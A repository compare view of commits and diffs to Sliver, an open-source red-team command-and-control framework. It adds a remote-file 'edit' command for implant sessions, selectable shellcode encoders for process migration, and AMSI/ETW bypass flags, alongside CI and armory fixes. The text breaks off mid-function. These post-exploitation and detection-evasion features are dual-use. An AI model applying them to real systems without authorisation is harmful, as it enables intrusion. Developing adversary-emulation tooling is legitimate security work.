Compare commits

...
Author SHA1 Message Date
moloch-- 8ea7eb4236 Remove old test 2026-02-05 21:30:45 -08:00
Joe 8f3c3ec1e0 Merge branch 'master' into darwin/shellcode 2026-02-05 22:19:10 -07:00
moloch-- 8d4bf9c759 Fixes to xor_dynamic arm64 2026-02-05 21:18:17 -08:00
moloch-- 85094fc695 Port xor encoders to arm64 2026-02-05 20:41:00 -08:00
moloch-- 0a88ad77f7 Port xor encoders to arm64 2026-02-05 19:15:34 -08:00
moloch-- 4d04f08421 Port xor encoders to arm64 2026-02-05 19:14:25 -08:00
moloch-- 4a01971f7d Allow specifying multiple shellcode encoders by name 2026-02-05 18:39:07 -08:00
moloch-- 977c63dc16 Add shellcode support for darwin/arm64 2026-02-05 17:57:08 -08:00
Joe 2d65d7d6a5 Merge pull request #2161 from BishopFox/c2/mux
C2/mux
2026-02-05 18:36:17 -07:00
moloch-- 4f5ca51cfe Implement generate.darwinShellcode() 2026-02-05 17:16:14 -08:00
moloch-- 83208eeab4 Fix io import for named pipe build 2026-02-05 16:43:53 -08:00
moloch-- 21674a9f0a Merge branch 'codex/fix-client-wg-lport-flag' into c2/mux 2026-02-05 15:50:58 -08:00
moloch-- a18bda14e2 Fix wg lport check 2026-02-05 15:50:47 -08:00
moloch-- 37f9670783 Add mux to wg c2 2026-02-05 15:50:13 -08:00
moloch-- 1745886622 Add mux and signing to wg c2 2026-02-05 14:54:32 -08:00
moloch-- bd7361825c v1.6.11 2026-02-05 12:59:32 -08:00
Joe 32af81c132 Merge pull request #2160 from BishopFox/fix/wepath
Use correct path construction in website.ToProtobuf()
2026-02-05 13:47:35 -07:00
moloch-- 818127349c Use correct path construction in website.ToProtobuf() 2026-02-05 12:29:59 -08:00
moloch-- a712bead88 Tweak mux ids 2026-02-05 12:10:24 -08:00
moloch-- aa86a1d12c Add more signing unit tests 2026-02-05 11:38:37 -08:00
moloch-- afb58f7155 Add envelope signing over mtls 2026-02-05 11:10:35 -08:00
moloch-- 97d5adccd7 Add beacon tests 2026-02-05 09:28:55 -08:00
moloch-- 83cc755388 Add multiplexing to mtls comms 2026-02-05 07:17:25 -08:00
moloch-- 4dc1fe145c Fix missing import 2026-02-04 09:46:38 -08:00
Joe 5e27b23bde Merge pull request #2158 from BishopFox/fix/shell
Fix `shell` pty resizing
2026-02-03 17:47:44 -07:00
Joe 6011d23a9f Merge pull request #2159 from JakubStanior/fix/2129
Use lport from server config in daemon mode  / fix #2129
2026-02-03 17:42:18 -07:00
Jakub Stankiewicz 976d720043 Add default lport from server config in daemon mode 2026-02-03 23:31:08 +01:00
moloch-- 86f41e9abc Fix shell pty resizing 2026-02-02 19:19:14 -08:00
Joe 8b9fc399fa Merge pull request #2156 from BishopFox/fix/armory-win
Ensure armory temp files cross‑plat
2026-02-02 20:12:49 -07:00
moloch-- 27c75c14e6 Ensure armory temp files cross‑plat 2026-02-02 18:17:28 -08:00
moloch-- 11d6af8aa0 Fix duplicated 'unknown cmd' output 2026-02-01 10:44:38 -08:00
moloch-- 54dc6dcec3 v1.6.10 2026-01-31 17:45:38 -08:00
Joe c7412d4d5b Merge pull request #2154 from BishopFox/go/v1.25.6
Go/v1.25.6
2026-01-31 09:44:33 -07:00
moloch-- c3817dc175 Pin tag patch version Go 1.25.6 2026-01-31 08:20:09 -08:00
moloch-- 09cedf588e Update to go 1.25.6 2026-01-31 08:18:39 -08:00
moloch-- 66aed89ebd Merge master 2026-01-31 08:03:24 -08:00
moloch-- 16397e7a0f Update default runtime arg 2026-01-31 07:53:18 -08:00
moloch-- 5062b483b7 Update wasm-donut 2026-01-31 07:43:21 -08:00
moloch-- b268295c8d Switch to wasm-donut 2026-01-30 22:23:56 -08:00
moloch-- 2b3f23cec9 Move donut options to generate flags 2026-01-30 17:19:57 -08:00
Joe 110658ec39 Merge pull request #2152 from BishopFox/feature/shellcode-encoders
Feature/shellcode encoders
2026-01-30 16:09:46 -07:00
moloch-- e99999ebb6 Cleanup shellcode encoder list output 2026-01-30 14:20:48 -08:00
moloch-- 24795e7cba Update shellcode encode rpc to support new encoders 2026-01-30 14:14:45 -08:00
moloch-- 32e3386a3e Add sgn to unified ShellcodeEncoders 2026-01-30 13:40:16 -08:00
moloch-- 7feea8bef3 Add more shellcode encoders 2026-01-30 13:02:14 -08:00
moloch-- d182434d54 Implement amd64/xor_dynamic shellcode encoder 2026-01-30 12:45:22 -08:00
moloch-- 0237af0c6e Implement amd64/xor_dynamic shellcode encoder 2026-01-30 12:45:08 -08:00
moloch-- 1fa36e46c4 Implement amd64/xor_dynamic shellcode encoder 2026-01-30 12:44:49 -08:00
moloch-- 4d9bae0778 Port basic xor shellcode encoder to golang 2026-01-30 12:28:15 -08:00
moloch-- 9a9b40e400 Move sng to server/encoders/shellcode/sgn 2026-01-30 11:51:57 -08:00
moloch-- d784b305ef Move sng to server/encoders/shellcode/sgn 2026-01-30 11:50:24 -08:00
moloch-- 7a224b4757 Update year 2026-01-30 11:40:58 -08:00
Joe 76ae704ce4 Merge pull request #2151 from BishopFox/feature/xxd
Feature/xxd
2026-01-30 12:06:11 -07:00
moloch-- 71cd8fa610 Skip generate tests if there's no edits to related code 2026-01-30 10:35:16 -08:00
moloch-- e9fdcc1285 Improve hex-edit ux 2026-01-30 10:30:15 -08:00
moloch-- 870c995ae2 Add hexedit feature 2026-01-30 10:20:56 -08:00
Joe 15d7e7c4d1 Merge pull request #2150 from BishopFox/feature/chtimes
Expand time formats supported by chtimes
2026-01-30 10:50:56 -07:00
moloch-- 750cdfce0a Expand time formats supported by chtimes 2026-01-30 09:41:55 -08:00
Joe 0f128a22b3 Merge pull request #1807 from navsec/socks5-stability
SOCKS5 Stability Improvements for HTTP/mTLS Transports
2026-01-30 10:07:13 -07:00
Joe 3296a8f483 Merge branch 'master' into socks5-stability
Signed-off-by: Joe <[email protected]>
2026-01-30 10:07:05 -07:00
Joe b77ade2bb9 Merge pull request #2148 from BishopFox/fix/info
Fix/info
2026-01-30 08:47:32 -07:00
moloch-- 41dc54d736 Implement mount for darwin 2026-01-29 22:22:59 -08:00
moloch-- 8a0694cb38 Add mount on darwin 2026-01-29 22:08:28 -08:00
moloch-- 52c0618bc3 Add os version implementations for linux/darwin 2026-01-29 21:50:16 -08:00
moloch-- e2e1912628 Add search to edit cmd 2026-01-29 21:01:16 -08:00
moloch-- 36794f1b07 Implement skip to line number 2026-01-29 20:50:11 -08:00
moloch-- ccd8f75b03 v1.6.9 2026-01-29 20:36:45 -08:00
moloch-- dc89afe404 Add optional line numbers 2026-01-29 20:32:15 -08:00
moloch-- 9db1f3a967 Add syntax highlighting 2026-01-29 20:22:23 -08:00
moloch-- a2ab3aede6 Implement 'edit' command 2026-01-29 20:07:51 -08:00
Joe 545fc27d03 Merge pull request #2147 from BishopFox/feature/certs-db
Feature/certs db
2026-01-29 09:59:10 -07:00
moloch-- 5bf65aa2b0 Fix notification indentation 2026-01-29 08:51:01 -08:00
Joe 3c46cf2210 Merge branch 'master' into socks5-stability 2025-10-24 11:41:27 -07:00
Ronan Kervella edcdfb5937 Merge branch 'master' into socks5-stability 2024-12-04 09:36:59 -10:00
Ronan Kervella f81efdb38c Merge branch 'master' into socks5-stability 2024-12-02 15:40:40 -08:00
Ronan Kervella db34ded0a1 Merge branch 'master' into socks5-stability 2024-11-18 15:06:32 -08:00
navsec 8a7a92a9b9 Refine implant/server signaling for tunnel closures 2024-11-18 17:02:15 -06:00
navsec 3eda32f9d7 Performance Optimizations and Implant SOCKS Changes 2024-11-17 15:01:04 -06:00
navsec c18c193ea7 Improve SOCKS lifecycle mangement and resolve leak 2024-11-06 23:24:44 -06:00
navsec 79a8758448 SOCKS5 Stability Improvements for HTTP/mTLS 2024-10-31 12:46:40 -05:00
585 changed files with 78093 additions and 6036 deletions

No files matched your search

+1 -1
View File
@@ -44,7 +44,7 @@ jobs:
- name: Go 1.25
uses: actions/setup-go@v6
with:
go-version: "^1.25"
go-version: "1.25.6"
- name: Install Minisign
run: sudo apt-get update --fix-missing && sudo apt-get -y install minisign
+1 -1
View File
@@ -19,7 +19,7 @@ jobs:
- name: Go 1.25
uses: actions/setup-go@v6
with:
go-version: "^1.25"
go-version: "1.25.6"
- name: Checkout repository
uses: actions/checkout@v6
+31 -5
View File
@@ -26,7 +26,7 @@ jobs:
- name: Go 1.25
uses: actions/setup-go@v6
with:
go-version: "^1.25"
go-version: "1.25.6"
- name: OS Packages
run: |
@@ -48,8 +48,21 @@ jobs:
- name: Make Linux (amd64)
run: make linux-amd64
- name: Determine go-tests flags
id: go-tests-flags
shell: bash
run: |
set -euo pipefail
base_sha="${{ github.event.pull_request.base.sha }}"
head_sha="${{ github.sha }}"
if git diff --name-only "$base_sha" "$head_sha" | grep -qE '^(implant/|server/gogo/|server/generate/)'; then
echo "args=" >> "$GITHUB_OUTPUT"
else
echo "args=--skip-generate" >> "$GITHUB_OUTPUT"
fi
- name: Test Linux
run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh
run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh ${{ steps.go-tests-flags.outputs.args }}
macos-build-test:
@@ -60,7 +73,7 @@ jobs:
- name: Go 1.25
uses: actions/setup-go@v6
with:
go-version: "^1.25"
go-version: "1.25.6"
- name: Check Out Code
uses: actions/checkout@v6
@@ -74,8 +87,21 @@ jobs:
- name: Make MacOS (arm64)
run: make macos-arm64
- name: Determine go-tests flags
id: go-tests-flags
shell: bash
run: |
set -euo pipefail
base_sha="${{ github.event.pull_request.base.sha }}"
head_sha="${{ github.sha }}"
if git diff --name-only "$base_sha" "$head_sha" | grep -qE '^(implant/|server/gogo/|server/generate/)'; then
echo "args=" >> "$GITHUB_OUTPUT"
else
echo "args=--skip-generate" >> "$GITHUB_OUTPUT"
fi
- name: Test MacOS
run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh
run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh ${{ steps.go-tests-flags.outputs.args }}
clients-build:
name: Clients Build
@@ -85,7 +111,7 @@ jobs:
- name: Go 1.25
uses: actions/setup-go@v6
with:
go-version: "^1.25"
go-version: "1.25.6"
- name: Check Out Code
uses: actions/checkout@v6
+1
View File
@@ -42,3 +42,4 @@ See the [wiki](https://sliver.sh/docs?name=Compile+from+Source).
### License - GPLv3
Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
+1 -1
View File
@@ -115,7 +115,7 @@ func Setup(force bool, echo bool) {
if force || localVer == "" || localVer != ver.GitCommit {
if echo {
fmt.Printf(`
Sliver Copyright (C) 2025 Bishop Fox
Sliver Copyright (C) 2026 Bishop Fox
This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
This is free software, and you are welcome to redistribute it
under certain conditions; type 'licenses' for details.`)
+1
View File
@@ -25,6 +25,7 @@ Shared registration glue, scaffolding, and helpers for Sliver client console com
- `creds/` – Implements the 'creds' command group for the Sliver client console.
- `cursed/` – Implements the 'cursed' command group for the Sliver client console.
- `dllhijack/` – Implements the 'dllhijack' command group for the Sliver client console.
- `edit/` – Implements the 'edit' command for the Sliver client console.
- `environment/` – Implements the 'environment' command group for the Sliver client console.
- `exec/` – Implements the 'exec' command group for the Sliver client console.
- `exit/` – Implements the 'exit' command group for the Sliver client console.
+4 -4
View File
@@ -239,9 +239,9 @@ func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverClien
f.StringP("app-domain", "d", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
f.StringP("arch", "a", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
f.BoolP("in-process", "i", false, "Run in the current sliver process")
f.StringP("runtime", "r", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
f.BoolP("amsi-bypass", "M", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
f.BoolP("etw-bypass", "E", false, "Bypass ETW on Windows (only supported when used with --in-process)")
f.StringP("runtime", "r", "v4.0.30319", "Runtime to use for running the assembly")
f.BoolP("amsi-bypass", "M", false, "Bypass AMSI on Windows")
f.BoolP("etw-bypass", "E", false, "Bypass ETW on Windows")
addAliasCmd.Flags().AddFlagSet(f)
}
@@ -374,7 +374,7 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
}
con.PrintWarnf("%s", msgStr)
confirm := false
_ = forms.Confirm("Do you want to continue?", &confirm)
forms.Confirm("Do you want to continue?", &confirm)
if !confirm {
return
}
+36 -19
View File
@@ -635,20 +635,15 @@ func installAliasPackage(entry *pkgCacheEntry, promptToOverwrite bool, clientCon
return errors.New("signature verification failed")
}
tmpFile, err := os.CreateTemp("", "sliver-armory-")
tmpFileName, err := writeArmoryTempFile(tarGz)
if err != nil {
return err
}
defer os.Remove(tmpFile.Name())
_, err = tmpFile.Write(tarGz)
if err != nil {
return err
}
tmpFile.Close()
defer os.Remove(tmpFileName)
con.Printf(console.Clearln + "\r") // Clear the line
installPath := alias.InstallFromFile(tmpFile.Name(), entry.Alias.CommandName, promptToOverwrite, con)
installPath := alias.InstallFromFile(tmpFileName, entry.Alias.CommandName, promptToOverwrite, con)
if installPath == nil {
return errors.New("failed to install alias")
}
@@ -729,23 +724,45 @@ func installExtensionPackage(entry *pkgCacheEntry, promptToOverwrite bool, clien
return errors.New("signature verification failed")
}
tmpFile, err := os.CreateTemp("", "sliver-armory-")
if err != nil {
return err
}
defer os.Remove(tmpFile.Name())
_, err = tmpFile.Write(tarGz)
if err != nil {
return err
}
err = tmpFile.Sync()
tmpFileName, err := writeArmoryTempFile(tarGz)
if err != nil {
return err
}
defer os.Remove(tmpFileName)
con.Printf(console.Clearln + "\r") // Clear download message
extensions.InstallFromDir(tmpFile.Name(), promptToOverwrite, con, true)
extensions.InstallFromDir(tmpFileName, promptToOverwrite, con, true)
return nil
}
func writeArmoryTempFile(data []byte) (string, error) {
if len(data) == 0 {
return "", errors.New("downloaded archive is empty")
}
tmpFile, err := os.CreateTemp("", "sliver-armory-")
if err != nil {
return "", err
}
tmpFileName := tmpFile.Name()
for len(data) > 0 {
n, err := tmpFile.Write(data)
if err != nil {
tmpFile.Close()
os.Remove(tmpFileName)
return "", err
}
data = data[n:]
}
if err := tmpFile.Sync(); err != nil {
tmpFile.Close()
os.Remove(tmpFileName)
return "", err
}
if err := tmpFile.Close(); err != nil {
os.Remove(tmpFileName)
return "", err
}
return tmpFileName, nil
}
+38
View File
@@ -0,0 +1,38 @@
package edit
import (
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
// Commands returns the edit command.
func Commands(con *console.SliverClient) []*cobra.Command {
editCmd := &cobra.Command{
Use: consts.EditStr,
Short: "Edit a remote text file",
Long: help.GetHelpFor([]string{consts.EditStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
EditCmd(cmd, con, args)
},
GroupID: consts.FilesystemHelpGroup,
}
flags.Bind("", false, editCmd, func(f *pflag.FlagSet) {
f.String("syntax", "", "syntax highlighting lexer name (optional)")
f.Bool("syntax-select", false, "prompt to select syntax highlighting lexer")
f.Bool("line-numbers", false, "show line numbers")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
carapace.Gen(editCmd).PositionalCompletion(
carapace.ActionValues().Usage("path to the remote file to edit"),
)
return []*cobra.Command{editCmd}
}
+380
View File
@@ -0,0 +1,380 @@
package edit
import (
"context"
"errors"
"fmt"
"sort"
"strings"
"time"
"unicode/utf8"
"github.com/alecthomas/chroma/v2"
"github.com/alecthomas/chroma/v2/lexers"
"github.com/bishopfox/sliver/client/command/filesystem"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
tea "github.com/charmbracelet/bubbletea"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
)
const beaconPollInterval = 1 * time.Second
// EditCmd downloads a remote text file, opens it in a TUI editor, and optionally uploads changes.
func EditCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
remotePath := strings.TrimSpace(args[0])
if remotePath == "" {
con.PrintErrorf("Missing parameter: remote path\n")
return
}
ctx, cancel := con.GrpcContext(cmd)
defer cancel()
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
download, err := downloadRemote(ctx, con, cmd, remotePath)
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
if !download.Exists {
con.PrintErrorf("Remote file does not exist: %s\n", remotePath)
return
}
if download.IsDir {
con.PrintErrorf("Remote path is a directory: %s\n", download.Path)
return
}
data := download.Data
if download.Encoder == "gzip" {
data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s\n", err)
return
}
}
if !isText(data) {
con.PrintErrorf("Refusing to edit non-text file: %s\n", download.Path)
return
}
path := download.Path
if path == "" {
path = remotePath
}
lineEnding := detectLineEnding(data)
content := normalizeLineEndings(data)
lexer, lexerName, err := resolveSyntax(cmd, path, string(data))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
showLineNumbers, _ := cmd.Flags().GetBool("line-numbers")
for {
result, err := runEditor(content, path, lexer, lexerName, showLineNumbers)
if err != nil {
con.PrintErrorf("Editor error: %s\n", err)
return
}
content = result.Content
if result.Action == actionNone {
return
}
if !result.Modified {
if result.Action == actionSaveQuit {
con.PrintInfof("No changes to upload for %s\n", path)
}
return
}
switch result.Action {
case actionSaveQuit:
uploadNow, err := confirm("Upload changes to remote file (overwrite)?")
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if !uploadNow {
keepEditing, err := confirm("Continue editing?")
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if keepEditing {
continue
}
return
}
uploadData := applyLineEnding(content, lineEnding)
if err := uploadEditedContent(cmd, con, path, uploadData); err != nil {
con.PrintErrorf("%s\n", err)
}
return
case actionQuit:
if result.Force {
return
}
discard, err := confirm("Discard changes?")
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if discard {
return
}
}
}
}
func runEditor(content, filename string, lexer chroma.Lexer, lexerName string, showLineNumbers bool) (editorResult, error) {
model := newEditorModel(content, filename, lexer, lexerName, showLineNumbers)
program := tea.NewProgram(model, tea.WithAltScreen())
finalModel, err := program.Run()
if err != nil {
return editorResult{}, err
}
editor, ok := finalModel.(*editorModel)
if !ok {
return editorResult{}, fmt.Errorf("unexpected editor state")
}
return editor.result(), nil
}
func downloadRemote(ctx context.Context, con *console.SliverClient, cmd *cobra.Command, path string) (*sliverpb.Download, error) {
download, err := con.Rpc.Download(ctx, &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(cmd),
Path: path,
RestrictedToFile: true,
})
if err != nil {
return nil, err
}
if download.Response != nil && download.Response.Async {
taskID := download.Response.TaskID
download = &sliverpb.Download{}
if err := waitForBeaconTaskResponse(ctx, con, taskID, download); err != nil {
return nil, err
}
}
return download, nil
}
func uploadEditedContent(cmd *cobra.Command, con *console.SliverClient, path string, data []byte) error {
ctx, cancel := con.GrpcContext(cmd)
defer cancel()
uploadData, err := new(encoders.Gzip).Encode(data)
if err != nil {
return err
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Uploading %s ...", path), ctrl)
upload, err := con.Rpc.Upload(ctx, &sliverpb.UploadReq{
Request: con.ActiveTarget.Request(cmd),
Path: path,
Data: uploadData,
Encoder: "gzip",
IsDirectory: false,
Overwrite: true,
})
if err == nil && upload.Response != nil && upload.Response.Async {
taskID := upload.Response.TaskID
upload = &sliverpb.Upload{}
err = waitForBeaconTaskResponse(ctx, con, taskID, upload)
}
ctrl <- true
<-ctrl
if err != nil {
return err
}
filesystem.PrintUpload(upload, con)
return nil
}
func waitForBeaconTaskResponse(ctx context.Context, con *console.SliverClient, taskID string, out proto.Message) error {
task, err := waitForBeaconTask(ctx, con, taskID)
if err != nil {
return err
}
state := strings.ToLower(task.State)
if state != "completed" {
if state == "" {
state = "unknown"
}
return fmt.Errorf("beacon task %s %s", task.ID, state)
}
if len(task.Response) == 0 {
return fmt.Errorf("beacon task %s returned empty response", task.ID)
}
return proto.Unmarshal(task.Response, out)
}
func waitForBeaconTask(ctx context.Context, con *console.SliverClient, taskID string) (*clientpb.BeaconTask, error) {
ticker := time.NewTicker(beaconPollInterval)
defer ticker.Stop()
for {
task, err := con.Rpc.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{ID: taskID})
if err != nil {
return nil, err
}
state := strings.ToLower(task.State)
if state == "completed" || state == "failed" || state == "canceled" {
return task, nil
}
select {
case <-ctx.Done():
return nil, ctx.Err()
case <-ticker.C:
}
}
}
func resolveSyntax(cmd *cobra.Command, path string, content string) (chroma.Lexer, string, error) {
syntaxName, _ := cmd.Flags().GetString("syntax")
selectSyntax, _ := cmd.Flags().GetBool("syntax-select")
syntaxName = strings.TrimSpace(syntaxName)
if strings.EqualFold(syntaxName, "auto") {
syntaxName = ""
}
if syntaxName != "" {
if strings.EqualFold(syntaxName, "none") {
return nil, "none", nil
}
lexer := lexers.Get(syntaxName)
if lexer == nil {
return nil, "", fmt.Errorf("unknown syntax lexer: %s", syntaxName)
}
name := lexer.Config().Name
if name == "" {
name = syntaxName
}
return lexer, name, nil
}
if selectSyntax {
options := syntaxOptions()
selection := "auto"
if err := forms.Select("Syntax highlighting", options, &selection); err != nil {
if errors.Is(err, forms.ErrUserAborted) {
return detectSyntax(path, content)
}
return nil, "", err
}
if strings.EqualFold(selection, "none") {
return nil, "none", nil
}
if strings.EqualFold(selection, "auto") {
return detectSyntax(path, content)
}
lexer := lexers.Get(selection)
if lexer == nil {
return nil, "", fmt.Errorf("unknown syntax lexer: %s", selection)
}
name := lexer.Config().Name
if name == "" {
name = selection
}
return lexer, name, nil
}
return detectSyntax(path, content)
}
func detectSyntax(path string, content string) (chroma.Lexer, string, error) {
lexer := lexers.Match(path)
if lexer == nil {
lexer = lexers.Analyse(content)
}
if lexer == nil {
lexer = lexers.Fallback
}
name := lexer.Config().Name
if name == "" {
name = "auto"
}
return lexer, name, nil
}
func syntaxOptions() []string {
names := lexers.Names(true)
sort.Strings(names)
options := make([]string, 0, len(names)+2)
options = append(options, "auto", "none")
options = append(options, names...)
return options
}
func confirm(title string) (bool, error) {
answer := false
if err := forms.Confirm(title, &answer); err != nil {
if errors.Is(err, forms.ErrUserAborted) {
return false, nil
}
return false, err
}
return answer, nil
}
func detectLineEnding(data []byte) string {
if strings.Contains(string(data), "\r\n") {
return "\r\n"
}
return "\n"
}
func normalizeLineEndings(data []byte) string {
content := strings.ReplaceAll(string(data), "\r\n", "\n")
content = strings.ReplaceAll(content, "\r", "\n")
return content
}
func applyLineEnding(content, lineEnding string) []byte {
if lineEnding == "\r\n" {
content = strings.ReplaceAll(content, "\n", "\r\n")
}
return []byte(content)
}
func isText(sample []byte) bool {
const max = 1024
if len(sample) > max {
sample = sample[:max]
}
for i, c := range string(sample) {
if i+utf8.UTFMax > len(sample) {
break
}
if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' && c != '\r' {
return false
}
}
return true
}
File diff suppressed because it is too large. Load diff
+5 -1
View File
@@ -4,6 +4,7 @@ import (
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/help"
shellcodeencoders "github.com/bishopfox/sliver/client/command/shellcode-encoders"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
@@ -171,11 +172,14 @@ func Commands(con *console.SliverClient) []*cobra.Command {
Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter),
}
flags.Bind("", false, migrateCmd, func(f *pflag.FlagSet) {
f.BoolP("disable-sgn", "S", true, "disable shikata ga nai shellcode encoder")
f.String("shellcode-encoder", "", "shellcode encoder to apply (optional; see `shellcode-encoders`)")
f.Uint32P("pid", "p", 0, "process id to migrate into")
f.StringP("process-name", "n", "", "name of the process to migrate into")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
flags.BindFlagCompletions(migrateCmd, func(comp *carapace.ActionMap) {
(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
})
carapace.Gen(migrateCmd).PositionalCompletion(carapace.ActionValues().Usage("PID of process to migrate into"))
msfCmd := &cobra.Command{
+21
View File
@@ -157,10 +157,25 @@ func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, r
tunnel := core.GetTunnels().Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
var rows uint32
var cols uint32
if !noPty {
colsInt, rowsInt, err := term.GetSize(int(os.Stdout.Fd()))
if err != nil || rowsInt <= 0 || colsInt <= 0 {
colsInt, rowsInt, err = term.GetSize(int(os.Stdin.Fd()))
}
if err == nil && rowsInt > 0 && colsInt > 0 {
rows = uint32(rowsInt)
cols = uint32(colsInt)
}
}
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveTarget.Request(cmd),
Path: hostProc,
EnablePTY: !noPty,
Rows: rows,
Cols: cols,
TunnelID: tunnel.ID,
})
if err != nil {
@@ -200,6 +215,12 @@ func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, r
}
}
stopPtyResize := func() {}
if !noPty {
stopPtyResize = startPtyResizeWatcher(con, cmd, tunnel.ID)
}
defer stopPtyResize()
log.Printf("Starting stdin/stdout shell ...")
go func() {
n, err := io.Copy(os.Stdout, tunnel)
+131 -3
View File
@@ -20,14 +20,19 @@ package exec
import (
"context"
"errors"
"fmt"
"sort"
"strings"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
// MigrateCmd - Windows only, inject an implant into another process
@@ -55,9 +60,17 @@ func MigrateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
implantName = beacon.Name
}
encoder := clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
if disableSgn, _ := cmd.Flags().GetBool("disable-sgn"); disableSgn {
encoder = clientpb.ShellcodeEncoder_NONE
targetArch := config.GetGOARCH()
if session != nil && session.Arch != "" {
targetArch = session.Arch
} else if beacon != nil && beacon.Arch != "" {
targetArch = beacon.Arch
}
encoder, err := parseShellcodeEncoderFlag(cmd, targetArch, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
ctrl := make(chan bool)
@@ -120,3 +133,118 @@ func MigrateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
con.PrintInfof("Successfully migrated to %d\n", migrate.Pid)
}
}
func normalizeShellcodeEncoderName(name string) string {
normalized := strings.ToLower(strings.TrimSpace(name))
normalized = strings.ReplaceAll(normalized, "-", "_")
return normalized
}
func normalizeShellcodeArch(arch string) string {
normalized := strings.ToLower(strings.TrimSpace(arch))
switch normalized {
case "amd64", "x64", "x86_64":
return "amd64"
case "386", "x86", "i386":
return "386"
case "arm64", "aarch64":
return "arm64"
default:
return normalized
}
}
func fetchShellcodeEncoderMap(con *console.SliverClient) (*clientpb.ShellcodeEncoderMap, error) {
if con == nil || con.Rpc == nil {
return nil, errors.New("no RPC client")
}
grpcCtx, cancel := con.GrpcContext(nil)
defer cancel()
return con.Rpc.ShellcodeEncoderMap(grpcCtx, &commonpb.Empty{})
}
func compatibleShellcodeEncoderNames(encoderMap *clientpb.ShellcodeEncoderMap, arch string) []string {
if encoderMap == nil {
return nil
}
arch = normalizeShellcodeArch(arch)
archMap := encoderMap.GetEncoders()[arch]
if archMap == nil {
return nil
}
names := make([]string, 0, len(archMap.GetEncoders()))
for name := range archMap.GetEncoders() {
names = append(names, name)
}
sort.Strings(names)
return names
}
func shellcodeEncoderEnumForArch(encoderMap *clientpb.ShellcodeEncoderMap, arch, name string) (clientpb.ShellcodeEncoder, bool) {
if encoderMap == nil {
return clientpb.ShellcodeEncoder_NONE, false
}
arch = normalizeShellcodeArch(arch)
name = normalizeShellcodeEncoderName(name)
archMap := encoderMap.GetEncoders()[arch]
if archMap == nil {
return clientpb.ShellcodeEncoder_NONE, false
}
encoder, ok := archMap.GetEncoders()[name]
return encoder, ok
}
func parseShellcodeEncoderFlag(cmd *cobra.Command, targetArch string, con *console.SliverClient) (clientpb.ShellcodeEncoder, error) {
rawEncoder, _ := cmd.Flags().GetString("shellcode-encoder")
rawEncoder = strings.TrimSpace(rawEncoder)
if cmd.Flags().Changed("shellcode-encoder") && rawEncoder == "" {
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("shellcode-encoder cannot be empty; use 'none' to disable encoding")
}
normalized := normalizeShellcodeEncoderName(rawEncoder)
if normalized == "none" {
return clientpb.ShellcodeEncoder_NONE, nil
}
encoderMap, err := fetchShellcodeEncoderMap(con)
if err != nil {
return clientpb.ShellcodeEncoder_NONE, err
}
// If no encoder specified, prompt for a compatible encoder (or none).
if rawEncoder == "" && !cmd.Flags().Changed("shellcode-encoder") {
compatible := compatibleShellcodeEncoderNames(encoderMap, targetArch)
if len(compatible) == 0 {
// No known compatible encoders for this arch.
